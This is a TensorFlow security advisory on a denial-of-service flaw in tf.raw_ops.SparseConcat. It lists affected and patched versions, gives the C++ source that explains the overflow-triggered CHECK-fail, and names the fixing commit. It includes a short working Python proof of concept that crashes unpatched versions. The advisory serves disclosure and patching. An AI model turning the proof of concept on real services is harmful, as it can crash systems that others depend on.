| Package | Affected versions | Patched versions |
|---|---|---|
| tensorflow | ≥ 2.2.0, < 2.2.3≥ 2.2.0, < 2.3.0rc0≥ 2.3.0, < 2.3.3≥ 2.3.0, < 2.3.4≥ 2.4.0, < 2.4.2≥ 2.4.0, < 2.4.3< 2.1.4< 2.2.0rc0 | 2.2.32.3.0rc02.3.32.3.42.4.22.4.32.1.42.2.0rc0 |
| tensorflow-cpu | ≥ 2.2.0, < 2.2.3≥ 2.2.0, < 2.3.0rc0≥ 2.3.0, < 2.3.3≥ 2.3.0, < 2.3.4≥ 2.4.0, < 2.4.2≥ 2.4.0, < 2.4.3< 2.1.4< 2.2.0rc0 | 2.2.32.3.0rc02.3.32.3.42.4.22.4.32.1.42.2.0rc0 |
| tensorflow-gpu | ≥ 2.2.0, < 2.2.3≥ 2.2.0, < 2.3.0rc0≥ 2.3.0, < 2.3.3≥ 2.3.0, < 2.3.4≥ 2.4.0, < 2.4.2≥ 2.4.0, < 2.4.3< 2.1.4< 2.2.0rc0 | 2.2.32.3.0rc02.3.32.3.42.4.22.4.32.1.42.2.0rc0 |
| tensorflow | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
An attacker can trigger a denial of service via a CHECK-fail in tf.raw_ops.SparseConcat:
import tensorflow as tf
import numpy as np
indices_1 = tf.constant([[514, 514], [514, 514]], dtype=tf.int64)
indices_2 = tf.constant([[514, 530], [599, 877]], dtype=tf.int64)
indices = [indices_1, indices_2]
values_1 = tf.zeros([0], dtype=tf.int64)
values_2 = tf.zeros([0], dtype=tf.int64)
values = [values_1, values_2]
shape_1 = tf.constant([442, 514, 514, 515, 606, 347, 943, 61, 2], dtype=tf.int64)
shape_2 = tf.zeros([9], dtype=tf.int64)
shapes = [shape_1, shape_2]
tf.raw_ops.SparseConcat(indices=indices, values=values, shapes=shapes, concat_dim=2)
This is because the implementation takes the values specified in shapes[0] as dimensions for the output shape:
TensorShape input_shape(shapes[0].vec<int64>());
The TensorShape constructor uses a CHECK operation which triggers when InitDims returns a non-OK status.
template <class Shape>
TensorShapeBase<Shape>::TensorShapeBase(gtl::ArraySlice<int64> dim_sizes) {
set_tag(REP16);
set_data_type(DT_INVALID);
TF_CHECK_OK(InitDims(dim_sizes));
}
In our scenario, this occurs when adding a dimension from the argument results in overflow:
template <class Shape>
Status TensorShapeBase<Shape>::InitDims(gtl::ArraySlice<int64> dim_sizes) {
...
Status status = Status::OK();
for (int64 s : dim_sizes) {
status.Update(AddDimWithStatus(internal::SubtleMustCopy(s)));
if (!status.ok()) {
return status;
}
}
}
template <class Shape>
Status TensorShapeBase<Shape>::AddDimWithStatus(int64 size) {
...
int64 new_num_elements;
if (kIsPartial && (num_elements() < 0 || size < 0)) {
new_num_elements = -1;
} else {
new_num_elements = MultiplyWithoutOverflow(num_elements(), size);
if (TF_PREDICT_FALSE(new_num_elements < 0)) {
return errors::Internal("Encountered overflow when multiplying ",
num_elements(), " with ", size,
", result: ", new_num_elements);
}
}
...
}
This is a legacy implementation of the constructor and operations should use BuildTensorShapeBase or AddDimWithStatus to prevent CHECK-failures in the presence of overflows.
We have patched the issue in GitHub commit 69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
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